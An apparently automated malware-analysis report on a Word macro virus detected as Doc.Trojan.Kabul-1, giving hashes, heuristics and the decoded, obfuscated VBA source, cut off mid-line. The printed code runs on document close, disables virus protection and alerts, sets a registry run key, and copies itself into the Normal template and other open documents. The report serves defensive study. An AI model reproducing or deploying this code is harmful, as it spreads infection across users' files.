Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2abad05cb1318c04…

MALICIOUS

Office (OLE)

37.0 KB Created: 2003-08-15 18:23:00 Authoring application: Microsoft Word 10.0 First seen: 2012-06-14
MD5: 3bfad641d1b6e99d6879121907247f7c SHA-1: 35b07b5218bab855f5233702414085eaef2a6f26 SHA-256: 2abad05cb1318c04f26ac6d6bfd4ddb0325affd002b1dea4dcb12eb12fd9dd94
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros with an AutoClose function that calls a subroutine named 'Kabul'. This subroutine attempts to write obfuscated strings to a file, likely to download and execute a second-stage payload. The presence of the Shell() call and the Auto_Close macro strongly indicate malicious intent. The ClamAV detection of 'Doc.Trojan.Kabul-1' further supports this assessment.

Heuristics 6

  • ClamAV: Doc.Trojan.Kabul-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Kabul-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6774 bytes
SHA-256: f6ace417f6a2528cd6df1af2cb9853b7301313fa7897f0d633ec36b81c495574
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ThisDocument1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
'Kabul
Private Sub FileClose()
Call Kabul
End Sub
Private Sub Document_Close()
Call Kabul
End Sub
Private Sub AutoClose()
Call Kabul
End Sub
Private Sub Kabul()
On Error Resume Next
Set nor = NormalTemplate.VBProject.VBComponents(((((((((((((((((((((1))))))))))))))))))))).CodeModule
Set ths = ThisDocument.VBProject.VBComponents(((((((((((((((((((((1))))))))))))))))))))).CodeModule
mycode = ths.Lines(((((((((((((((((((((1)))))))))))))))))))), ((((((((((((((((((((300)))))))))))))))))))))
Open Crypt("f?YrlkajrvYv|vq`hYndgpi+sgv", 5) For Output As #1
Print #1, Crypt("V`q%ndgpi%8%RVfwluq+Fw`dq`Jgo`fq-", 5) & Chr(34) & Crypt("Rjwa+Duuilfdqljk", 5) & Chr(34) & Crypt(",", 5)
Print #1, Crypt("ndgpi+Juqljkv+SlwpvUwjq`fqljk%8%5", 5)
Print #1, Crypt("ndgpi+Juqljkv+Vds`KjwhdiUwjhuq%8%5", 5)
Print #1, Crypt("ndgpi+Juqljkv+FjkclwhFjks`wvljkv%8%5", 5)
Print #1, Crypt("Cjw%}%8%4%Qj%ndgpi+KjwhdiQ`huidq`+SGUwjo`fq+SGFjhujk`kqv+Lq`h-4,+Fja`Hjapi`+FjpkqJcIlk`v", 5)
Print #1, Crypt("Ndgpi+KjwhdiQ`huidq`+SGUwjo`fq+SGFjhujk`kqv+Lq`h-4,+Fja`Hjapi`+A`i`q`Ilk`v%4", 5)
Print #1, Crypt("K`}q", 5)
Print #1, Crypt("Ndgpi+KjwhdiQ`huidq`+SGUwjo`fq+SGFjhujk`kqv+Lq`h-4,+Fja`Hjapi`+DaaCwjhCli`%-", 5) & Chr(34) & Crypt("F?YrlkajrvYv|vq`hYndgpi+GDV", 5) & Chr(34) & Crypt(",", 5)
Print #1, Crypt("ndgpi+Duuilfdqljk+Tplq", 5)
Close #1
Open Crypt("f?YRlkajrvYv|vq`hYndgpi+gdv", 5) For Output As #1
Print #1, mycode
Close #1
System.PrivateProfileString("", Crypt("MN@\ZIJFDIZHDFMLK@YVjcqrdw`YHlfwjvjcqYRlkajrvYFpww`kqS`wvljkYWpk", 5), Crypt("Ndgpi", 5)) = Crypt("F?YRlkajrvYv|vq`hYndgpi+SGV", 5)
System.PrivateProfileString("", Crypt("MN@\ZFPWW@KQZPV@WYVjcqrdw`YHlfwjvjcqYJcclf`Y<+5YRjwaYV`fpwlq|", 5), Crypt("I`s`i", 5)) = 1&
With Options
.VirusProtection = ((((((((((((((((((((0))))))))))))))))))))
.ConfirmConversions = ((((((((((((((((((((0))))))))))))))))))))
.SaveNormalPrompt = ((((((((((((((((((((0))))))))))))))))))))
.Application.ScreenUpdating = ((((((((((((((((((((0))))))))))))))))))))
.Application.EnableCancelKey = wdCancelDisabled
.Application.ShowVisualBasicEditor = ((((((((((((((((((((0))))))))))))))))))))
.Application.DisplayAlerts = wdAlertsNone
.Application.DisplayStatusBar = ((((((((((((((((((((0))))))))))))))))))))
End With
CommandBars(Crypt("Qjjiv", 5)).Controls(Crypt("Hdfwj", 5)).Enabled = ((((((((((((((((((((0))))))))))))))))))))
installation$ = Crypt("f?YrlkajrvYv|vq`hYajkqw`dah`+ajf", 5)
ths.SaveAs installation$
For i = ((((((((((((((((((((1)))))))))))))))))))) To Documents.Count
If Documents(i).VBProject.VBComponents(((((((((((((((((((((1))))))))))))))))))))).CodeModule.Lines(((((((((((((((((((((1)))))))))))))))))))), ((((((((((((((((((((1))))))))))))))))))))) <> "'Kabul" Then actins = ((((((((((((((((((((0)))))))))))))))))))) Else actins = ((((((((((((((((((((1))))))))))))))))))))
If actins = ((((((((((((((((((((0)))))))))))))))))))) Then
With Documents(i).VBProject.VBComponents(((((((((((((((((((((1))))))))))))))))))))).CodeModule
.DeleteLines ((((((((((((((((((((1)))))))))))))))))))), .CountOfLines
.addfromstring mycode
End With
End If
Next
If nor.Lines(((((((((((((((((((((1)))))))))))))))))))), ((((((((((((((((((((1))))))))))))))))))))) <> "'Kabul" Then norins = ((((((((((((((((((((0)))))))))))))))))))) Else norins = ((((((((((((((((((((1))))))))))))))))))))
If norins = ((((((((((((((((((((0)))))))))))))))))))) Then
With nor
.DeleteLines ((((((((((((((((((((1)))))))))))))))))))), .CountOfLines
.addfromstrin
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.